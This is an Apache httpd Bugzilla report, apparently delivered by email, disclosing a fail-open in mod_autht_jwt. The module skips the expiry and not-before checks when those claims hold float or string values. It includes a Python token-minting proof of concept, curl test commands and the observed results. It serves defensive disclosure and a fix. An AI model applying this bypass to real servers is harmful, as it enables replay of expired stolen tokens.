https://bz.apache.org/bugzilla/show_bug.cgi?id=70275
Bug ID: 70275
Summary: mod_autht_jwt only enforces the "exp" (expiry) and
"nbf" (not-before) claims when their JSON value is an
integer. If the value is a float or a string, the
check is silently skipped and the token is accepted.
An expired token whose "exp" is encoded as a fl
Product: Apache httpd-2
Version: 2.5-HEAD
Hardware: PC
OS: Linux
Status: NEW
Severity: major
Priority: P2
Component: mod_autht_jwt
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
SUMMARY
-------
mod_autht_jwt only enforces the "exp" (expiry) and "nbf" (not-before) claims
when their JSON value is an integer. If the value is a float or a string, the
check is silently skipped and the token is accepted. An expired token whose
"exp" is encoded as a float/string is therefore treated as never-expiring.
ROOT CAUSE
----------
check_token() in modules/aaa/mod_autht_jwt.c:
983 if (!strncmp("exp", kv->k->value.string.p, kv->k->value.string.len)) {
984 if (kv->v->type == APR_JSON_LONG) { exp = kv->v->value.lnumber;
exp_set = 1; }
985 }
... (nbf handled the same way, lines 990-995)
1014 if (exp_set || nbf_set) {
1017 if (exp_set && exp < apr_time_sec(now)) return AUTHT_EXPIRED;
The claim is captured only when kv->v->type == APR_JSON_LONG. RFC 7519
NumericDate permits non-integer values, and common issuers/serializers emit
exp as a float (e.g. 1700000000.0 -> APR_JSON_DOUBLE) or a string. Such a token
leaves exp_set = 0, so the whole expiry/nbf block is skipped.
PROOF OF CONCEPT
----------------
1. Configure an HS256-protected location (AuthName must match the token aud):
AuthtJwtDriver openssl
<Location "/jwt">
AuthType bearer
AuthName "myaud"
AuthBearerProvider jwt
AuthtJwtVerify HS256 file /path/to/secret
Require valid-user
</Location>
Start httpd normally.
2. Mint four VALIDLY-SIGNED test tokens from the same secret (so only the
exp/nbf encoding differs). Run on any host with python3:
python3 - <<'EOF'
import hmac,hashlib,base64
b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=').decode()
secret=open('/path/to/secret','rb').read()
H=b(b'{"alg":"HS256","typ":"JWT"}')
def tok(payload):
si=H+'.'+b(payload.encode())
return si+'.'+b(hmac.new(secret,si.encode(),hashlib.sha256).digest())
for n,p in [("int-exp(past)",
'{"sub":"a","aud":"myaud","exp":1000000000}'),
("float-exp(past)",
'{"sub":"a","aud":"myaud","exp":1000000000.0}'),
("string-exp(past)",'{"sub":"a","aud":"myaud","exp":"1000000000"}'),
("float-nbf(future)",'{"sub":"a","aud":"myaud","nbf":4000000000.0}')]:
print(n, tok(p))
EOF
3. Send each token:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Authorization: Bearer <token>" http://localhost/jwt
OBSERVED RESULT
---------------
exp = 1000000000 (integer, long past) -> 401 (correctly expired)
exp = 1000000000.0 (float, long past) -> 200 ACCEPTED (bug)
exp = "1000000000" (string, long past) -> 200 ACCEPTED (bug)
nbf = 4000000000.0 (float, future) -> 200 ACCEPTED (bug)
EXPECTED
--------
A present-but-non-integer exp/nbf must cause rejection (not be ignored).
IMPACT
------
Expired bearer tokens remain valid indefinitely; "not-before" is not enforced.
Enables captured-token replay well past intended expiry.
DISTINCT FROM #69946
--------------------
#69946 overwrites exp via a prefix claim key ("e" matching "exp"). This bug is
a separate value-type fail-open on a legitimately-named "exp"/"nbf" claim.
FIX
---
Reject when exp/nbf is present but not an integer, and/or parse float
NumericDate
values before the comparison.
--
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]